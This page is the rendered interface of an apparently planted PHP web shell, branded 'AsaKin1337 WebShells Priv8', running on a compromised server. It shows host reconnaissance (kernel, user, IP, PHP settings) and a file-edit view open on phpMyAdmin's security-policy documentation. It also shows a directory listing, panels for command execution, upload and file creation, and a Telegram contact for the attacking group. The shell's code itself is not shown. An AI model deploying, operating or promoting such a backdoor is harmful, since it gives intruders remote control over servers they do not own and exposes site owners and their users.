depaninfo27.fr - AsaKin1337 WebShells

! AsaKin1337 WebShells Priv8 Version !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux vps90796 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64 User: web39 Software: Apache IP: 185.98.128.85 PHP: 8.3.12 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/phpmyadmin/doc/html/

! AsaKin1337 WebShells Priv8 Version !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux vps90796 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64

User: web39

Software: Apache

IP: 185.98.128.85

PHP: 8.3.12

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/share/phpmyadmin/doc/html/

Edit File: security.html

<!DOCTYPE html>

<title>Security policy &#8212; phpMyAdmin 5.2.3 documentation</title>
    <link rel="stylesheet" type="text/css" href="_static/pygments.css" />
    <link rel="stylesheet" type="text/css" href="_static/classic.css" />
    
    <script data-url_root="./" id="documentation_options" src="_static/documentation_options.js"></script>
    <script src="_static/jquery.js"></script>
    <script src="_static/underscore.js"></script>
    <script src="_static/_sphinx_javascript_frameworks_compat.js"></script>
    <script src="_static/doctools.js"></script>
    <script src="_static/sphinx_highlight.js"></script>
    
    <link rel="index" title="Index" href="genindex.html" />
    <link rel="search" title="Search" href="search.html" />
    <link rel="copyright" title="Copyright" href="copyright.html" />
    <link rel="next" title="Distributing and packaging phpMyAdmin" href="vendors.html" />
    <link rel="prev" title="Developers Information" href="developers.html" /> 
  </head><body>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="vendors.html" title="Distributing and packaging phpMyAdmin"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="developers.html" title="Developers Information"
             accesskey="P">previous</a> |</li>
        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 5.2.3 documentation</a> &#187;</li>
        <li class="nav-item nav-item-this"><a href="">Security policy</a></li> 
      </ul>
    </div>

<div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <section id="security-policy">
<h1>Security policy<a class="headerlink" href="#security-policy" title="Permalink to this heading">¶</a></h1>
<p>The phpMyAdmin developer team is putting lot of effort to make phpMyAdmin as
secure as possible. But still web application like phpMyAdmin can be vulnerable
to a number of attacks and new ways to exploit are still being explored.</p>
<p>For every reported vulnerability we issue a phpMyAdmin Security Announcement
(PMASA) and it get’s assigned a CVE ID as well. We might group similar
vulnerabilities to one PMASA (eg. multiple XSS vulnerabilities can be announced
under one PMASA).</p>
<p>If you think you’ve found a vulnerability, please see <a class="reference internal" href="#reporting-security"><span class="std std-ref">Reporting security issues</span></a>.</p>
<section id="typical-vulnerabilities">
<h2>Typical vulnerabilities<a class="headerlink" href="#typical-vulnerabilities" title="Permalink to this heading">¶</a></h2>
<p>In this section, we will describe typical vulnerabilities, which can appear in
our code base. This list is by no means complete, it is intended to show
typical attack surface.</p>
<section id="cross-site-scripting-xss">
<h3>Cross-site scripting (XSS)<a class="headerlink" href="#cross-site-scripting-xss" title="Permalink to this heading">¶</a></h3>
<p>When phpMyAdmin shows a piece of user data, e.g. something inside a user’s
database, all html special chars have to be escaped. When this escaping is
missing somewhere a malicious user might fill a database with specially crafted
content to trick an other user of that database into executing something. This
could for example be a piece of JavaScript code that would do any number of
nasty things.</p>
<p>phpMyAdmin tries to escape all userdata before it is rendered into html for the
browser.</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p><a class="reference external" href="https://en.wikipedia.org/wiki/Cross-site_scripting">Cross-site scripting on Wikipedia</a></p>
</div>
</section>
<section id="cross-site-request-forgery-csrf">
<h3>Cross-site request forgery (CSRF)<a class="headerlink" href="#cross-site-request-forgery-csrf" title="Permalink to this heading">¶</a></h3>
<p>An attacker would trick a phpMyAdmin user into clicking on a link to provoke
some action in phpMyAdmin. This link could either be sent via email or some
random website. If successful this the attacker would be able to perform some
action with the users privileges.</p>
<p>To mitigate this phpMyAdmin requires a token to be sent on sensitive requests.
The idea is that an attacker does not poses the currently valid token to
include in the presented link.</p>
<p>The token is regenerated for every login, so it’s generally valid only for
limited time, what makes it harder for attacker to obtain valid one.</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p><a class="reference external" href="https://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site request forgery on Wikipedia</a></p>
</div>
</section>
<section id="sql-injection">
<h3>SQL injection<a class="headerlink" href="#sql-injection" title="Permalink to this heading">¶</a></h3>
<p>As the whole purpose of phpMyAdmin is to preform sql queries, this is not our
first concern. SQL injection is sensitive to us though when it concerns the
mysql control connection. This controlconnection can have additional privileges
which the logged in user does not poses. E.g. access the <a class="reference internal" href="setup.html#linked-tables"><span class="std std-ref">phpMyAdmin configuration storage</span></a>.</p>
<p>User data that is included in (administrative) queries should always be run
through DatabaseInterface::escapeString().</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p><a class="reference external" href="https://en.wikipedia.org/wiki/SQL_injection">SQL injection on Wikipedia</a></p>
</div>
</section>
<section id="brute-force-attack">
<h3>Brute force attack<a class="headerlink" href="#brute-force-attack" title="Permalink to this heading">¶</a></h3>
<p>phpMyAdmin on its own does not rate limit authentication attempts in any way.
This is caused by need to work in stateless environment, where there is no way
to protect against such kind of things.</p>
<p>To mitigate this, you can use Captcha or utilize external tools such as
fail2ban, this is more details described in <a class="reference internal" href="setup.html#securing"><span class="std std-ref">Securing your phpMyAdmin installation</span></a>.</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p><a class="reference external" href="https://en.wikipedia.org/wiki/Brute-force_attack">Brute force attack on Wikipedia</a></p>
</div>
</section>
</section>
<section id="reporting-security-issues">
<span id="reporting-security"></span><h2>Reporting security issues<a class="headerlink" href="#reporting-security-issues" title="Permalink to this heading">¶</a></h2>
<p>Should you find a security issue in the phpMyAdmin programming code, please
contact the <a class="reference external" href="mailto:security&#37;&#52;&#48;phpmyadmin&#46;net">phpMyAdmin security team</a> in
advance before publishing it. This way we can prepare a fix and release the fix together with your
announcement. You will be also given credit in our security announcement.
You can optionally encrypt your report with PGP key ID
<code class="docutils literal notranslate"><span class="pre">DA68AB39218AB947</span></code> with following fingerprint:</p>
<div class="highlight-console notranslate"><div class="highlight"><pre><span></span><span class="go">pub   4096R/DA68AB39218AB947 2016-08-02</span>
<span class="go">      Key fingerprint = 5BAD 38CF B980 50B9 4BD7  FB5B DA68 AB39 218A B947</span>
<span class="go">uid                          phpMyAdmin Security Team &lt;security@phpmyadmin.net&gt;</span>
<span class="go">sub   4096R/5E4176FB497A31F7 2016-08-02</span>
</pre></div>
</div>
<p>The key can be either obtained from the keyserver or is available in
<a class="reference external" href="https://files.phpmyadmin.net/phpmyadmin.keyring">phpMyAdmin keyring</a>
available on our download server or using <a class="reference external" href="https://keybase.io/phpmyadmin_sec">Keybase</a>.</p>
<p>Should you have suggestion on improving phpMyAdmin to make it more secure, please
report that to our <a class="reference external" href="https://github.com/phpmyadmin/phpmyadmin/issues">issue tracker</a>.
Existing improvement suggestions can be found by
<a class="reference external" href="https://github.com/phpmyadmin/phpmyadmin/labels/hardening">hardening label</a>.</p>
</section>
</section>

<div class="clearer"></div>
          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <div>
    <h3><a href="index.html">Table of Contents</a></h3>
    <ul>
<li><a class="reference internal" href="#">Security policy</a><ul>
<li><a class="reference internal" href="#typical-vulnerabilities">Typical vulnerabilities</a><ul>
<li><a class="reference internal" href="#cross-site-scripting-xss">Cross-site scripting (XSS)</a></li>
<li><a class="reference internal" href="#cross-site-request-forgery-csrf">Cross-site request forgery (CSRF)</a></li>
<li><a class="reference internal" href="#sql-injection">SQL injection</a></li>
<li><a class="reference internal" href="#brute-force-attack">Brute force attack</a></li>
</ul>
</li>
<li><a class="reference internal" href="#reporting-security-issues">Reporting security issues</a></li>
</ul>
</li>
</ul>

</div>
  <div>
    <h4>Previous topic</h4>
    <p class="topless"><a href="developers.html"
                          title="previous chapter">Developers Information</a></p>
  </div>
  <div>
    <h4>Next topic</h4>
    <p class="topless"><a href="vendors.html"
                          title="next chapter">Distributing and packaging phpMyAdmin</a></p>
  </div>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="_sources/security.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</div>
<script>document.getElementById('searchbox').style.display = "block"</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="vendors.html" title="Distributing and packaging phpMyAdmin"
             >next</a> |</li>
        <li class="right" >
          <a href="developers.html" title="Developers Information"
             >previous</a> |</li>
        <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 5.2.3 documentation</a> &#187;</li>
        <li class="nav-item nav-item-this"><a href="">Security policy</a></li> 
      </ul>
    </div>
    <div class="footer" role="contentinfo">
        &#169; <a href="copyright.html">Copyright</a> 2012 - 2025, The phpMyAdmin devel team.
      Created using <a href="https://www.sphinx-doc.org/">Sphinx</a> 5.3.0.
    </div>
  </body>
</html>

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
_images	DIR	07.10.2025 14:40:12	0/0	drwxr-xr-x	Edit Rename
_sources	DIR	07.10.2025 14:40:12	0/0	drwxr-xr-x	Edit Rename
_static	DIR	07.10.2025 14:40:12	0/0	drwxr-xr-x	Edit Rename
bookmarks.html	10.36 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
charts.html	15.61 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
config.html	400.26 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
copyright.html	6.51 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
credits.html	48.22 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
developers.html	4.86 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
faq.html	208.38 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
genindex.html	158.82 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
glossary.html	39.77 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
import_export.html	29.09 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
index.html	15.12 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
intro.html	11.37 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
other.html	6.91 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
privileges.html	9.77 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
relations.html	9.89 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
require.html	8.81 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
search.html	3.3 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
searchindex.js	207.73 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
security.html	11.72 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
settings.html	6.18 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
setup.html	150.86 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
themes.html	11.95 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
transformations.html	15.41 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
two_factor.html	9.67 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
user.html	8.54 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download
vendors.html	8.54 KB	07.10.2025 14:40:12	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ AsaKin1337 WebShells Priv8 Version5 (01.07.2025) SINDIKAT 777 TEAM | https://t.me/AsaKin1337 | Generation time: 1783992445.9854 ]--